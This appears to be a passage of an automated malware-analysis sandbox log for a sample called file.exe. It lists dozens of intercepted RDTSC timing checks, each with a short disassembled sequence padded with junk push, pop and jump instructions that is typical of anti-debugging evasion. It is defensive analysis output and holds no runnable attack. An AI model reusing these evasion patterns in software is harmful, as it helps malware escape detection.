Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF1D second address: 6ABF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF21 second address: 6ABF2B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF2B second address: 6ABF46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B6h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC4C9 second address: 6AC4CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B444F second address: 6B447B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759AEh 0x00000007 jmp 00007F78C4C759B0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop esi 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B45B2 second address: 6B45E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F78C4C75729h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F78C4C7571Ch 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B45E2 second address: 6B45F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push esi 0x00000007 jng 00007F78C4C759A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B45F7 second address: 6B45FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48BE second address: 6B48C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4A10 second address: 6B4A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4A14 second address: 6B4A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4A18 second address: 6B4A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F78C4C75716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F78C4C7571Bh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4A32 second address: 6B4A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3FF4 second address: 6B400F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F78C4C75716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F78C4C7571Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B400F second address: 6B4015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4015 second address: 6B404A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F78C4C7571Ch 0x0000000e jno 00007F78C4C75716h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 jmp 00007F78C4C7571Ch 0x0000001d pop edx 0x0000001e jmp 00007F78C4C75720h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4CBE second address: 6B4CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B51EF second address: 6B51F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC69E second address: 6BC6AB instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC6AB second address: 6BC6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C75723h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCB5A second address: 6BCB6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F78C4C759A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF411 second address: 6BF429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F78C4C7571Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF150 second address: 6BF161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F78C4C759AAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF161 second address: 6BF181 instructions: 0x00000000 rdtsc 0x00000002 js 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F78C4C7571Eh 0x00000010 jnl 00007F78C4C75716h 0x00000016 pushad 0x00000017 popad 0x00000018 jng 00007F78C4C7571Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5C97 second address: 6C5C9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5C9D second address: 6C5CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4AB8 second address: 6C4AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4AC1 second address: 6C4AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4AC7 second address: 6C4ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8628 second address: 6C862C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8788 second address: 6C879B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F78C4C759A6h 0x0000000a popad 0x0000000b push edx 0x0000000c jno 00007F78C4C759A6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C879B second address: 6C87A7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F78C4C7571Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDBA7 second address: 6CDBB1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F78C4C759A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD02A second address: 6CD02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD17F second address: 6CD191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F78C4C759B2h 0x0000000a jnc 00007F78C4C759A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD45F second address: 6CD464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD464 second address: 6CD46E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F78C4C759A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD5E3 second address: 6CD5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD5EA second address: 6CD60A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B4h 0x00000007 jng 00007F78C4C759AEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD60A second address: 6CD62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F78C4C75725h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD771 second address: 6CD777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD777 second address: 6CD787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F78C4C75716h 0x0000000a jl 00007F78C4C75716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD787 second address: 6CD7B0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F78C4C759A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F78C4C759A8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push ecx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jo 00007F78C4C759A6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD7B0 second address: 6CD7B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD7B4 second address: 6CD7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D61F7 second address: 6D6217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F78C4C7572Dh 0x0000000d jmp 00007F78C4C75721h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D44B7 second address: 6D44BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D47DE second address: 6D47E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D50E0 second address: 6D50E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5419 second address: 6D5423 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5423 second address: 6D5429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D570E second address: 6D5733 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F78C4C75723h 0x00000010 jbe 00007F78C4C75716h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D782D second address: 6D7831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7831 second address: 6D783C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF396 second address: 6DF3A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007F78C4C759A6h 0x0000000d popad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF3A9 second address: 6DF3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F78C4C7571Eh 0x0000000e jmp 00007F78C4C75723h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF504 second address: 6DF527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F78C4C759B5h 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF527 second address: 6DF52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF52F second address: 6DF53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F78C4C759A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF7D8 second address: 6DF7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF7E4 second address: 6DF7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF7EF second address: 6DF7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFEFA second address: 6DFF04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F78C4C759A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF04 second address: 6DFF1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75726h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF1E second address: 6DFF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F78C4C759A6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8D0C second address: 6E8D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F78C4C75722h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6EBF second address: 6E6EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E72D4 second address: 6E72D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E72D8 second address: 6E72E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E72E4 second address: 6E72EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E75C9 second address: 6E75DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F78C4C759A6h 0x00000009 jl 00007F78C4C759A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7710 second address: 6E7730 instructions: 0x00000000 rdtsc 0x00000002 js 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F78C4C75726h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7730 second address: 6E7782 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B2h 0x00000007 jmp 00007F78C4C759B8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F78C4C759BEh 0x00000016 push ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7A70 second address: 6E7A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7A76 second address: 6E7A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7A7A second address: 6E7AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F78C4C7571Fh 0x00000013 jmp 00007F78C4C7571Dh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7AA5 second address: 6E7AB6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F78C4C759ACh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7D75 second address: 6E7D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7D7B second address: 6E7D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF7F2 second address: 6EF7F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD61D second address: 6FD62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F78C4C759ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD62A second address: 6FD632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD632 second address: 6FD649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F78C4C759AEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD777 second address: 6FD77D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD77D second address: 6FD781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707AB8 second address: 707AC2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F78C4C75716h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F6CB second address: 70F6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C759ABh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F78C4C759ACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F6EB second address: 70F704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75725h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F704 second address: 70F709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A376 second address: 71A3B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F78C4C75720h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F78C4C75739h 0x00000013 jmp 00007F78C4C7571Ch 0x00000018 jmp 00007F78C4C75727h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3B7 second address: 71A3BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3BD second address: 71A3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3C3 second address: 71A3D3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A562 second address: 71A567 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A7F1 second address: 71A7F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A7F5 second address: 71A816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F78C4C75729h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A816 second address: 71A830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F78C4C759B5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
